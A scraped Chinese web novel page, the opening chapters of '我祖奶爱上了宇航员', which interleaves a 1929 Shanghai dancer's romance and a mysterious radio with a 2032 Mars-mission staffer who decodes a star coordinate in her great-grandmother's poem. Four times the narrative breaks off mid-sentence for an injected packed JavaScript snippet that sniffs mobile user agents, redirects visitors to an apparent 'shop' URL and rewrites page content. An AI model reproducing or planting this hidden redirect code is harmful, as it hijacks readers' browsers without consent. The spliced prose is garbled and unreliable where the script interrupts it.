《我祖奶爱上了宇航员》 1. 在北方的北方 “在北方的北方 我看到二十三颗星星 那是夜空上盛开的一朵洁白的玫瑰 是群星簇拥的我炽热的心脏 我仰起头 试图望穿九个小时的光亮 在那亮光中藏着我尚未到来的往昔 隐秘而荣光 那是我此生永不停歇的守望” 从我小时候有记忆起,我家的客厅里就挂着一幅字,字的内容是我曾祖母写的一首诗。 据说,我这位曾祖母的经历十分传奇——她从小在孤儿院长大,在上海滩卖过报、摆过摊、跳过舞,又不知怎地上起了学堂,读起了书。 1937年抗战爆发,她作为护士入伍,历经大大小小的战役,活到了战争结束。 而等到新中国成立,在她的同龄人都当上了奶奶的年纪,她竟凭着一颗聪明的头脑,参与进了“东方红一号”卫星的研发项目中去。也引领着她的儿子,我的姥爷,为航空航天事业奉献了一生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504975|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我母亲出生时,她已经很老了。 但听妈妈说,我的曾祖母很会讲故事。在她的故事里,当她十几岁,还是个少女时,曾听见天上的星星对她说话,而这也是为什么她写下了在客厅里挂着的那首诗。 我们一直以为这首诗讲的是她毕生热爱的航天事业,诗中天上的玫瑰,也就是她曾经参与其中,将之放到天上的那颗熠熠闪耀的卫星。 然而,直到那一天,我亲眼见到了她的星星…… 2. 第1章 一九二九年。 从来没有人见过这样一座舞厅。 人们说,建造千乐门的必然是一个败家子。因为只有不知钱为何物的败家子才会这样出手阔绰,任凭一捧捧白花花的银子,一把把绿崭崭的美钞从自己的指间流过,只为打造一个让人跳舞的地方。 走进豪华的大门,大大小小的舞厅、舞池数不胜数。本该用在簇新的进口小轿车上的精钢被铺成了地板,只为客人们在舞场旋转时能感受脚底“砰砰”的弹动,让他们的舞步更加轻灵。剔透的水晶被打磨成高高的灯柱,折射出璀璨无比的霓虹。 有人写道:“上也舞厅,下也舞厅。弹簧地板效飞腾,琉璃灯中镶倩影。何幸!何幸!春宵一刻千金重!” 来到了上海滩,一个人可以不知道哪位议员最近又在竞选,不知道某个将军又打到了哪处河山,却绝不可以不知道这样一处人间天堂。 在千乐门所有舞厅中,最引人注目的必定是千人大舞池正前方的舞台。被知名的艺术家精心锻造的一道道铁枝从舞台中心破土而出,又贴上灿灿的金箔,一个人立在舞台上,就好似维纳斯刚刚从金子中诞生。 而能站在这样的舞台中央的,必然也不是什么闲杂人等——当红的歌手、剧院的明星,甚至有人说,连传说中好莱坞的卓别林都曾远道而来,莅临这舞厅。 只可惜,这些当红的骄子们来了又去,宛如候鸟,从不真正驻脚,唯有另一群人会在这里久久停留。 这时正是一曲终了,舞池里的舞客们停住身,以经久的掌声送台上的歌星谢幕——那是一张不时就能在街头海报上瞧见的脸,想必是老板不惜血本请来的。 然而,那歌星从后台消失不过几秒,客人们刚刚伴着新的一曲中迈开舞步,就有人在台边低声叫起来了,像是早就等之不及:“小百合!小百合!” “在,来了!” 在一阵促狭的嬉笑声里,尚未退场的舞女们纷纷侧身,让出一条小路。 一个娇小的女孩碎步小跑着从姐妹们的身边挤过,跑到舞台边缘。或许是台阶太高,又或是今日伴舞的裙子太长,她脚下一绊,眼看就要从台上跌下来。 一只手迅速伸出,将她接住。 女孩抬起头。 这是怎样的一张脸啊。白生生的脸蛋上生着一双天然的笑眼,俏丽而又甜美,乌黑的眼眸深处仿佛永远闪烁着一点希冀又淘气的光。只要她不好意思地抿嘴一笑,这世上便没有人能拒绝她的请求。 她不会衰老,不会萎缩,更不会凋落。青春女神爱着她,因此她会永远蓬勃。 可接住她的人却丝毫不为所动,劈头盖脸地训斥道:“说了多少次了!别这么冒冒失失的!就这么一点路,你急什么!”而后又回身笑道,“谭公子,人给您找来了,这不就是!” 说话的人是舞场的张大班。 张大班原名张韵,舞女们尊敬她,喊她一声“张妈妈”。她原也是舞场的舞女,到了年纪,又不愿随意找个人打发了自己,便留在舞场做起了管理舞女、拉拢客人的大班。说是人老珠黄,也不过是四十来岁的年纪,举手投足间尤能看到当年的风韵。 她错开身,让出一位西装革履的青年。 这青年身形高挑,五官端正而秀挺,一身西装是低调的黑色,却剪裁得严丝合缝、得体至极,哪怕在千乐门的一众豪客中也显出鹤立鸡群来。 他立在台下,手中握着一捧花,仿佛对周遭好奇的目光一无所觉,只专注地望着眼前的姑娘:“小百合。” 小百合仍站在阶上,害羞般一垂眸:“谭大哥,您又来啦!” 青年耐不住地上前一步:“你……”又忽然察觉台上的舞女们仍嘻嘻哈哈地注视着他们,立刻住了口。 张大班在舞场混迹多年,是何等的眼色,赶忙上前赶人:“好了好了,别看了,有什么可看的,还不快去找人跳舞!谭公子,这花我先替小百合收着,你们好好玩罢!” 她无比自然地接过青年怀中的花,临走前仍不忘对小百合低声叮嘱道:“表现好点,后台可还有谭公子的一份大礼等着你呢!”说着,对青年最后一笑,推着磨磨蹭蹭的舞女们走了,只留下他们两个。 小百合伸出一只手,笑道:“这位公子,可不可以请您跳一支舞呀?” 她的笑容灿烂,眼里却闪动着只有对面之人才能发觉的狡黠——他们的相识,便是由这样一句简单的问话开始的。 除去在台上伴舞的时间,所有的舞女平时都要散在各个舞厅中等人邀舞。 跳一支舞便是一张舞票,一张舞票一块钱,与舞厅分账。红牌的舞女可得七八,寻常的舞女可得其四,比起微薄的日薪,倒是舞票的收入占了大头。 那时小百合刚刚被舞场的经理从街上发掘,应了他的约来舞厅跳舞,没有倚仗,没有靠山,连刚学的舞姿都仍显生疏。就算有一张年轻貌美的脸,在舞场一众莺燕的环绕之下,也算不得格外突出。 因此,点她的客人并不多。 可她不愿就那么矜持地坐在冷板凳上。于是,她开始去主动邀约。 那时谭荣名刚刚留欧归来,原本簇拥着他的朋友们都去跳舞了,只剩他一个一脸不适地坐在桌旁,正好成了她练手的第一个对象。 却没想到,他从此就上了心。 在那之后,她又邀请了许多人,有的拒绝了,有的成了她的常客。她渐渐变得小有名气,不时会收到些衣裳、首饰,新奇的洋货之类,但只有谭荣名一个人会在台下捧着花等她。 “你看起来有些分心。”谭荣名道。 这时放的是一首慢歌,他们正随着歌慢慢摇摆。 小百合抬起眼,道:“我在想我们第一次见面的时候。仿佛是很久以前的事了。” 舞女们卖的是舞,却也是情,是在一支舞的时间里两人共沐爱河的幻梦。她早就抓住了其中的诀窍。 谭荣名道:“其实也没有多久。大概是上辈子的缘分罢。”他顿了顿,从怀中掏出一个小盒,“我给你买了一件小东西,打开看看。” 小百合掀开盒盖,露出惊讶的神情——盒中的是一条吊坠,用晶莹的碎钻镶出了一朵百合花的形状。 青年接着道:“我刚刚领了第一份工资。这该算是我送你的第一件礼物。好看吗?” 谭荣名在欧洲学的是医,小百合记得他曾经提过,要在卫生局谋一个差事。她从来没问起过他的家世,但从张大班待他热络的态度来看,必定也不是什么简单的来历。 “好看。”她忽闪了忽闪睫毛,垂下眼,“其实……你不必这样。” 谭荣名露出一个微笑:“这有什么。我看到它时就觉得很适合你。来,我给你戴上。” 小百合微低下头,让他将吊坠戴到自己的脖子上:“听张妈妈说,你还给我准备了别的礼物。” 谭荣名笑道:“是啊,那可是个新鲜玩意!不过太大太重了,我就让司机先给送到了后台。待会跳完了舞,我教你怎么用它。” 可惜没等一支舞跳完,便有人远远地认出了他。 来人大呼小叫地招呼了一番,将谭荣名拉到舞厅角落的隔间,又开了两瓶香槟酒,他便再也脱身不得。 小百合作为女伴,自然也被拉去陪酒。 她微笑着听他们谈论股票涨落、国际形势、留学见闻,又一一说起各自的营生。她默默地将有意思的事记在心中,一边听,一边不忘为他们酒杯添酒——在聊起所谓“正经事”时,这些男人是看不见她的,除非酒杯空了的时候。 这伙人中显然有几个家里是做药行的,正说起刚刚得了卫生局许可,从欧洲进口的新药。那药产量很低,治伤又极是有效, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504976|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正适合在这军阀混战的时期囤积居奇,谋取暴利。说着说着,他们话头一转,便以此为由,众星捧月般狠狠地轮番敬了谭荣名一圈酒。 等几个小时过去,他已是酩酊大醉,莫说记得送了小百合什么,连走出一条直线都十分困难。 小百合将他送上了车,挂了今晚坐台的账,才回到后台。 后台化妆间里这时已经稀稀落落不剩几个人——到了这会儿,也没有人会点舞女跳舞了。只有三两个姑娘坐在镜前打着哈欠卸妆。 其中一人见小百合回来了,往旁边的梳妆台一努嘴:“诺,你那位公子送给你的礼物。张妈妈叮嘱我们帮你盯着点呢。” “多谢了。”小百合道。 台上放着她今天刚收到的花,与另外几束近乎枯萎的堆在一起——送她花的不止谭荣名,但因为她的名字,几乎都是形形色色的百合。 她略一探头,才瞧见桌下一个四四方方的大盒子,包装精致,看起来很有分量。 小百合换好衣服,犹豫了片刻,终是下定决心,将盒子托起来,抱在怀中。 舞厅门口时时有人守卫,但毕竟来往的人太多,总免不了会丢东西。 她抱着沉甸甸的盒子与几人道别,听她们懒懒地应了她,便往外走。 七拐八拐,出了一道偏僻的小门,就见一辆黄包车守在门外,几乎隐没在晦暗的小巷里。 靠在墙上抽烟的车夫远远看到了她,立刻掐灭烟头,奔了过来:“嚯,这又是谁送你的礼物?” 说着,接过盒子,快步安顿在车上。 小百合抿了抿嘴,道:“真对不住,三哥,又让你等到这时候。” 孙老三一摆手:“自家兄妹,说这个做什么。快上车吧!” 他们两个出自同一个孤儿院,据说是十来年前来华的某位慈悲的爵士捐资创立的。只是,没过几年,那位爵士便因故回国了,从那以后只有汇款定期打过来。 在所有孤儿里属孙老三排行老三,在老大离开,老二因病夭折之后,属他年纪最大,就成了所有人的大哥。因为担心小百合的安全,从她开始在舞厅跳舞起,他每晚都来接她。 夜半三更,哪怕白日最热闹的道路也安静了下来。一路上几乎只能听到车轮“咕噜噜”滚动的声音。 小百合望着眼前随奔跑而起伏滚动的背脊。已是秋日,空气中早有凉意,孙老三却仍只穿着一件薄衫。她开口问道:“家里怎么样了?” 孙老三不回头地道:“这一次的汇款又没有及时来。院长想办法去筹钱了。” “这样……”她低语道,便不再作声。 小百合租住的公寓离舞厅不远,他们很快就到了。 孙老三放下车把,“噔噔”几步爬上小楼狭窄的铁制楼梯,将谭荣名的礼物放到小百合门口,又快步跑下来,道:“行,那我就走了!” 小百合掏出装钱的帕子,数出几张,把剩下的全部塞进孙老三手中:“我楼上还有点钱,这些三哥你们先用着。过两天我再回去看看!”而后不等孙老三拒绝,又笑着道,“就当是院长欠我的,等筹到钱了可一定记得还给我!” 孙老三手里握着钱,迟疑片刻,终究咬牙道:“好!就算他不记得,我也会记得!你休息吧,我走了!” 小百合望着他拉着车一路远去,才回身上楼,把门口的盒子拖进屋里。 她的公寓很小,只够放下一张窄床,一个衣柜以及一张不大不小的梳妆台,更衬得那盒子格外占地。 小百合将那盒子抱到梳妆台上,想了想,开始小心地撕起了盒外的包装纸。 很快,里面的东西露了出来。 那东西小百合在报纸的广告页上见过,在墙上的宣传海报上见过,也听别人说起过,却从没想到自己会拥有一台——那是一台崭新的黑色收音机。 3. 第2章 2032年。 “滴!工号104526,林梦晨。请进。” 机械的女声话音未落,短发的女孩便对着空气激动难耐地打了一套组合拳:“Yes,yes,yes!” 终于,她终于等来了这一天! 四年的天体物理学位,三年的航空航天工程学位,所有的努力终于在今天得到了回报,让她的梦想化为了现实——她真的加入了“天梯一号”火星探索计划,成为了地面控制中心的一名工作人员! 自2027年第一艘装配了核聚变发动机的火箭建成,大大提高了宇宙飞行的速度,人类便开始利用人工智能技术远程搭建火星空间站,用了近三年的时间将空间站搭建完成。直到今日,终于所有的条件都已成熟,在不到两个月后, 人类将第一次把宇航员送上火星,去探索银河系的另一颗星球。 林梦晨在上学时便时时关注着火星探索计划的进程,而今天,她终于成为了这计划的一员。 来不及回想这过程中的酸甜苦辣,她眼前的滑动门无声打开,露出内里的控制大厅。 林梦晨连忙调整好表情,走了进去。 控制大厅前端是几张巨大的显示屏,屏幕上显示着不断变动的复杂数据。林梦晨粗略看了一眼,认出那大概是火星空间站的运行轨迹信息。 大厅里每个人都有自己的控制台,眼前或横或竖地立着几个小屏。不时有人低声交谈,混着键盘的敲击声、机器的嗡鸣声,合成了一股和谐的白噪音。 她进来的这个门开在大厅的侧面,在厅内空间的映衬下显得极不起眼,几乎没有什么人注意到她。 林梦晨深吸一口气,将眼前的一切深深吸进身体里,又缓缓地吐了出来。她拿出手机,正要拨给联系人,就见一个青年从控制台站起身,遥遥地对她招了招手,奔了过来。 没到近前,他便笑着伸出手,道:“你好,林梦晨是吧?我叫周超。人事的张姐和我说让你联系我,怎么没给我打电话?都没来得及出去迎接你一下。” 林梦晨自然不会告诉他,她只是想试试看门口的瞳孔识别到底能不能认出她。于是只打了个哈哈,回握住他伸出来的手,也笑着道:“本来想进来之后再给你打电话的,结果超哥你眼神太好了,直接看见我了!那……以后就请多指教了!” 周超一摆手:“好说好说。走,我带你去你的座位。” 林梦晨的工作台在大厅靠后的位置,附近的人大多戴着耳机,双眼紧盯着屏幕,偶尔对话筒说上几句什么。周超向她介绍完周围的几位同事,等她一一打过招呼,便对她讲解起了如何使用控制台。 然而,不等他讲完,大厅里突然一阵骚动,窃窃私语声蓦然大了起来。 林梦晨抬起头,发现有不止一个人从自己的工作台离开,跑向大屏幕左侧的窗口。 察觉她的分心,周超也住了口,观察了片刻,笑道:“哦,对了,我都差点忘了,今天是陆遥来中心进行VR飞行模拟训练的日子,现在应该已经训练完了。估计是她在走廊里有什么事要和领导沟通吧!” 林梦晨心中一颤。 陆遥! 居然是陆遥! 陆遥不仅是这次执行火星任务的四名宇航员中唯一的女性,更是他们航天人,尤其是航天女孩们共同的偶像——少年天才,机械工程和应用数学双料博士,近两千个小时的安全飞行时间,生存训练及理论学习考核断层第一。 能够参与宇航员选拔的人无一不是出类拔萃的天之骄子,而在成百上千个候选人中,她是这次探索任务确定的第一个人选。 林梦晨早就期盼着能见她一面,没想到,来这里的第一天就遇到了她! 大约是看出了她脸上的蠢蠢欲动,周超笑道:“你想去看她就去吧!等你回来我们再接着说。” “好!谢谢超哥!!”林梦晨从椅子上一跃而起,奔向已经挤满了人的窗口。 果然,在窗口对着的走廊尽头,几位领导簇拥着一个穿着工作服,扎着简洁马尾的年轻女性,正在和她说话。 只这么远远望着,林梦晨的心便“砰砰”地快速跳动起来。 确实是她! 她之前在网页上见过陆遥的照片,照片上的陆遥生着一双狭长的凤眼,五官端正而清秀。尽管离得远看不太清,但她仍然可以肯定,照片里的人此时就站在她的眼前! 陆遥的个子比她想象得更高些,说话时没有什么表情,显得十分严肃,甚至有几分冷淡。他们交谈一阵,其中一位领导似是说完了结语,拍了拍她的肩膀。陆遥点了点头,便回身往走廊另一个方向走去。 周围响起一阵遗憾的叹息声。陆遥走了。 围观的人陆续地散了,只留下林梦晨一个人呆呆地在原地站了一会儿,才慢慢回到她的工作台。 周超仍在原地笑眯眯地等她,见她回来,笑道:“怎么样?看到人了?” 林梦晨回过神来,不好意思地道:“嗯!看到了!麻烦超哥久等了!” 周超道:“不碍事,那我们接着说吧?” 紧接着,周超对她大致讲解了“天梯计划”的任务内容和时间安排,便留下她一个人阅读计划书,熟悉控制台——林梦晨应征的岗位是宇航联络员,在未来的两个月中,她不仅要和宇航员们同步学习、生活,更要将计划的每一步记得烂熟于心,以便在他们真正抵达火星时能保持顺畅的沟通。 等他讲完,林梦晨道了谢,送走了周超,却没有急着去打开计划书。 她坐在椅子上心满意足地感受了片刻,而后摸向脚边的背包,掏出她带来的水杯和一个相框——这也是她包里仅有的两样东西。 还没等她决定好该把相框放在哪,就听头顶响起了周超的声音:“咦?这是什么?” 林梦晨手一抖,相框“啪”地倒了。 周超伸手帮她扶了起来,端详了片刻,道:“这是……一首诗么?”他读道,“在北方的北方,我看到二十三颗星星。那是夜空上盛开的一朵洁白的玫瑰,是群星簇拥的我炽热的心脏……” 林梦晨尴尬地笑着打断了他:“停停停!别读了超哥!是的,这是一首诗。”她顿了顿,道,“我的一位曾祖母曾经是‘东方红一号’卫星发射的工作人员,她写了这首诗,之前在报纸上刊载过,我特别喜欢,就印出来了。” 周超道:“喔……这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504977|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉害!航天世家啊!”他指了指相框的左下角,“这个‘红梅’,是什么意思?” 林梦晨道:“这是我曾祖母的落款!她姓白,叫白红梅,只落款了一个名字。” “这样啊……”他歪头研究一阵,突然又笑了,“其实你祖母的这首诗里,还藏着一个坐标呢,不知道你发现没有?” 林梦晨一愣:“什么意思?” 周超道:“你应该也熟悉黄道坐标系吧?”他指向相框里的诗句,“你看,如果把‘北方的北方’理解成北纬,‘二十三颗星星’理解为度数,那就是赤纬正23度。把‘九个小时的光亮’里的‘九小时’理解成赤经,那就是赤经九小时。赤纬正23°,赤经9小时,这不就是一个坐标吗?” 林梦晨愣住了。 作为天体物理专业的学生,她自然是知道黄道坐标系的。 那是一种经常用于定位天体所在位置的坐标系统,基本属于天文学的入门知识。但是,或许是因为这首诗在她家挂了太久,她从小便习以为常,竟从来没有从这个角度思考过。 周超见她愣了神,连忙又道:“抱歉,是不是我话太多了?我这个人从小就不懂艺术,你千万别放在心上!” 林梦晨忙道:“没有没有,超哥你这样才不愧是航天人呢!我在想我怎么居然一直没有发现……” 周超道:“哈哈好的!那你知道这是什么的坐标吗?”他打趣道,“该不会是有什么家传的宝藏之类的吧?” 林梦晨也笑了:“不会吧……那样就好了!” 周超笑道:“好吧。也可能只是两个虚数而已。就算有什么具体的含义,大概也只有你曾祖母知道了。”他看了一眼手表,“时间不早了,走,我带你去吃午饭!” “好!”林梦晨道。 她起身跟着周超往外走,心中却仍在思索他们刚才的对话。 据她妈妈说,她的曾祖母是个十分和善的人,但只对一件事尤为坚持,那就是这首诗。 因为她长久的熏陶,他们的家族不止一个人投身航天事业。而无论是不是从事航天工作,是她的儿女还是孙辈,每当他们离开父母,在外成家时,她总要写一幅字,装裱起来,赠与他们。 而字的内容,永远是那首诗。 直到前些年她最终过世,写了不知有十几,还是几十幅,散在全国,乃至全世界各地她的子孙手里。 该不会……真有什么宝藏吧? 林梦晨转瞬又否定了这个念头。且不说黄道坐标系是天文坐标系,就算换算成地球上的经纬度——林梦晨心算了一下坐标的位置——那也在太平洋上。 她的这位曾祖母应该从未出过海,她也从来不曾听她的妈妈,或者她的姥爷提起过她家有什么失落的横财。 不可能是什么宝藏的所在地。 那么,这两个数字,这个坐标,究竟是怎么来的呢? 或许,真的只是她的曾祖母随意写的吧? “快点快点,走慢了食堂里的好吃的都被打没了!”周超停住脚,催促她道。 “来了!”林梦晨道。 她把关于坐标的问题抛到脑后,加快脚步,追了上去。 4. 第3章 一九二九年。 舞厅的早晨总是从下午开始的。 直到傍晚,分散在中各地的舞女们才会陆陆续续来到舞厅,开始梳妆打扮,为即将到来的夜晚做准备。 小百合前一夜本就回去得晚了,又鼓捣了鼓捣谭荣名送给她的收音机,尽管没鼓捣出什么所以然,依然耽误了一些功夫,于是睡得更晚。 再一睁眼,已是日过中天。 不过好在今天她也没有什么事,只稍作梳洗,便坐在桌前,开始打理她的首饰盒。 昨晚给孙老三的钱对她而言不是个小数目,过两日回孤儿院也要花钱,是时候去当铺当点东西了。 小百合把盒中的项链、手镯、耳饰、胸针一件一件摊开,依依不舍地挑拣着。 眼睛尖记性好的客人送的首饰不能当,做工独特、绝无仅有的首饰不能当,从外地,尤其是海外带回来的不能当,近两个月刚收到的不能当,再除去几个样式美丽,她格外喜爱的,余下的也没有几个。 她挑来拣去,最终选中一支银手镯。这手镯是一位商行的少爷送的。那少爷性格大气,也粗疏,不止给她一个人送过首饰,想来早就把这镯子忘了。 小百合穿好外套,把镯子揣入怀中,便出了门。 等办完了事,她到达舞厅后台的化妆间时,屋里已然来了不少人。大多三三两两地聚在一堆,聊天说笑。 也有人独自坐在角落里,对着镜子描眉画眼。 其中一人簇拥在三四个人之间,看到小百合进来,立刻从靠坐的梳妆台上直起身,招呼道:“小百合!这里!我给你留了个位置!” 说话的女子名叫朱璇,年纪比寻常舞女大些,却凭着艳丽的五官和成熟妩媚的风情极受欢迎,在小百合刚来时十分照顾她,两人也因此成了姐妹。 一旁刚画完眉陶菁也扒了上来,趴在小百合的肩上:“小百合,听璇璇姐说,昨天谭公子又给你送什么好东西了?包得严严实实的,足有一个小箱子那么大呢!到底是什么呀?” 小百合抿唇一笑,眉眼弯弯:“你们猜!” 朱璇摸了摸下巴:“那么大的盒子,肯定不是珠宝项链之类的,该不会是什么稀奇的西洋摆件吧?” 小百合摇头:“不是。”她又道,“那东西之前还在舞厅门口贴过海报呢!” “贴过海报?”另一人奇道,“那是什么?别卖关子了,快说快说!” 小百合压低了声音,故作神秘地一字一字道:“盒子里是一台收、音、机。” “收音机?”她们哗然道。 又有人凑了过来,好奇地道:“一台收音机得多少钱呀?应该很贵吧!” 朱璇轻轻撅了撅嘴,道:“贵倒是也没那么贵。差一点的一台几十美元,好些的几百美元。不过,他送你这个做什么?” “肯定是怕我们小百合自己一个人闷得慌了!”陶菁笑道,“而且,那是对璇璇姐你来说不贵,对我们来说,那可太贵了!” “瞎说什么呢!”朱璇微露出一丝得意的神色。 有人艳羡道:“谭公子对小百合可真好,说不定,未来也会像韩少爷对艳雪那样,把她娶进门呢!” “确实,哪有几位客人像他一样,总是捧着花在舞台下等着的!” “说起来,听说韩少爷又给楚艳雪买了一栋小洋楼,还是在公租界……” “啊?我听说的是给她买了个门脸,让她自己做生意啊?好像开的是个成衣店吧?” “真好呀,要是王经理也能这样对我就好了……” “小百合你一定让我们去见识见识呀!” 化好妆、没化好妆的舞女们纷纷聚了起来,七嘴八舌。朱璇的脸色却随着她们的议论愈来愈沉。 虽然在她来了之后没多久,楚艳雪就被那位传说中的韩家大少接走做姨太太去了,但他们,以及朱璇三个人的故事,小百合是听说过的。 据说,那位韩大少名为韩明皓,乃是财阀子弟,财大气粗,最开始其实同时捧着朱璇和楚艳雪两个人。她们两个,朱璇婀娜聘婷、妩媚妖娆,楚艳雪冷艳逼人、仪态端方,各有各的风情。 然而,随着时间推移,他却渐渐被楚艳雪的不卑不亢打动,当真动了真情,任凭朱璇使出怎样的勾魂手段,也挽回不了他的心。 苏俄的貂皮、南海的珊瑚、瑞士的手表……直到最后,几经误会周折,真的把她迎娶回家。尽管不是明媒正娶,但其间温柔宠溺,两情缱绻,远甚于彼。 而原本与她关系不错的朱璇,也从此与楚艳雪断了联系。 眼见朱璇的面色已然黑如锅底,小百合连忙开口打断众人:“好了,别说了,看看都什么时候了,快去打扮罢!不然张妈妈一会又来说了!” 舞女们拖拖拉拉,你一眼我一语地散开了。朱璇铁青着脸转身离开了,而陶菁也十分识趣地自己寻了个地方坐下,继续涂她的口红。 小百合对着镜子掏出粉扑,却不由自主地出了神。 刚才她们说的那些话,若说她从来没有想过,那是假的。 谭公子青年才俊,有大好的前程在未来等着,又长了那般端正的一张脸。每每在台下等她时,看她的眼神又黑又深,仿佛这世上只剩下了她一个人。 可是…… 他们之间身份的差异有如鸿沟,她从来没有真的奢望能高攀上他。她也见过太多的例子——有钱家的少爷在前一晚为博红颜一笑,一掷千金,第二日却又在眨眼间另觅新欢。 任凭舞场上如何欢颜笑语,都是做戏,都是谎言。 但是,话说回来,谭荣名会来这舞厅,一开始不就是他的友人强拉着他的吗?她犹记得他起初坐在场下时不自在的表情。那时的她心里甚至觉出有趣,心道,这是从哪个洞口误入魔窟的羔羊? 独独这一点,他便与那些镇日徜徉舞场的浪子不同。 而在认识了她之后,哪怕身边环肥燕瘦,他不是也从未与别的舞女跳舞,哪怕分给她们一眼吗? 他是一心看着她的。 而且,就算这舞厅里诸多虚情假意,楚艳雪……她不就做到了吗? 她做到了,为何别人就不行? 况且,比起那位韩大少,谭荣名甚至尚未婚配。现在的先生小姐们都讲究自由恋爱,或许…… 小百合收回心思。 前一晚谭荣名大醉而归,若她没有猜错,他今晚必定会再来找她。现在她要做的,该是好好梳妆才是。 果然,入夜不久,霓虹灯才刚刚亮起,谭荣名就捧着一束花来了。 今晚的舞台没有表演,他不需要再在舞台下等她。 这时候来的人尚且不多,舞厅里回荡着的音乐轻柔而又动听,仿佛正合让人互诉衷肠。 谭荣名把手搭在小百合的腰间,温柔地带着她慢慢转圈,一边歉然地道:“抱歉,昨天实在不得不应酬,冷落你了。” 小百合坚定地摇了摇头:“没有。坐在旁边听你们说话,我也觉得很有意思。” 谭荣名没有说话,只轻轻地抚了抚她的头发。 小百合歪头道:“你们昨晚说的那种药,真的有那般厉害?” 谭荣名微微一笑,道:“你知道这世上其实有许多小生物,是肉眼看不见的吗?” 小百合仰起头,静静地听着。 这其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504978|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是她在舞女生涯中颇为喜爱的一部分。 她的客人里有着各行各业的人,而除了风月之外,他们总要对她说话——他们的学业,他们的事业,他们的知识和见闻。尽管不无炫耀的成分,她仍能学到不少东西。 小百合听着谭荣名对她解释人为何会发烧、感染,又听他讲起那名字古怪的药是如何将人治愈,确定他全都讲完了,眨巴眨巴眼睛,道:“真神奇。谭大哥你知道得可真多!” 谭荣名一摆手,道:“这算什么!”他话音刚落,正赶上一曲结束,两人停住脚。他转而问道,“对了,昨天我带给你的东西,你拆开看了吗?现在还在后台吗?” 小百合如实地答了,他便道:“那正好,我也不想让人分享我送你的礼物。走,我去你家里教你,该怎么用它!” 于是,小百合向张妈妈报了出台,又托人告诉孙老三今晚不必等她,两人便叫了一台黄包车往小百合的公寓去。 这是谭荣名第一次去小百合家。小百合原以为他会评论一番她的公寓是多么老旧狭小,甚至提出要为她在别处另租一间,他却什么也没说。她不由对此心中感激。 这公寓虽又小又旧,但毕竟是在上海,角落里是有电插座的。 谭荣名将收音机插上,又一个个教她机器上的旋钮都是什么。调谐旋钮、音量旋钮、音调旋钮、波段选择开关,小百合将它们一一记下。 谭荣名帮她找到两个电台,又握着她的手旋转旋钮,直到有清晰的人声从“沙沙”的噪音中传出,随着他们的转动愈发清晰。 小百合不由发出一声欢呼:“我也找到了!” 谭荣名微笑地看着她,眼神专注,专注得小百合也不由自主地安静下来,与他对视。 不知过了多久,小百合才猛然惊觉,谭荣名的脸在慢慢靠近,此时离她只有一掌之遥。 她慌忙撇开头。 她这一撇开头,谭荣名也仿佛从某种莫名的氛围中蓦然惊醒,匆忙撤身后退:“抱歉,是我唐突了。刚刚我一时情难自禁……” 小百合赶忙摇头:“没有,没事……” 谭荣名站起身:“时候不早了。我们孤男寡女,待到太晚毕竟不妥,我先走了。” 小百合也随他起身:“那我送你!” 谭荣名道:“不必。记在张妈妈那里的时间你无需在意,趁这个机会好好歇歇罢!我先走了。”说着,没有一丝犹豫地迈出了房门。 小百合抓起外套追了出去,追到楼底,又目送他坐着黄包车远去,才慢慢地上楼回了家。 此时为时尚早,离她本来的休息时间还有很长时间,小百合竟一时不知该做些什么。她百无聊赖、心不在焉地调弄着收音机。说是在听,其实更多的心思倒放在了刚才的事上。 她知道舞厅里有的舞女是另有一番事业的,可她不是其中之一。 除了在舞场跳舞之外,她的所有行为都发乎情,止乎礼。 谭荣名是知道的。 可是……她依然忍不住踌躇。 谭荣名会不会觉得刚刚的拒绝伤了他的尊严,再也不来找她? 他会不会觉得,其实小百合也只是把他当作一个一般的客人,所有的礼物、精力和时间都是枉费心机? 能收到的电台总共只有那么几个,交替的人声和沙沙声不久就变得惹人厌烦。 小百合心烦意乱,将旋钮一扭到底,正要关掉,突然听到噪声中忽然传来了断断续续的女声。 那女声时大时小,似乎比其他几个电台更难以听清。 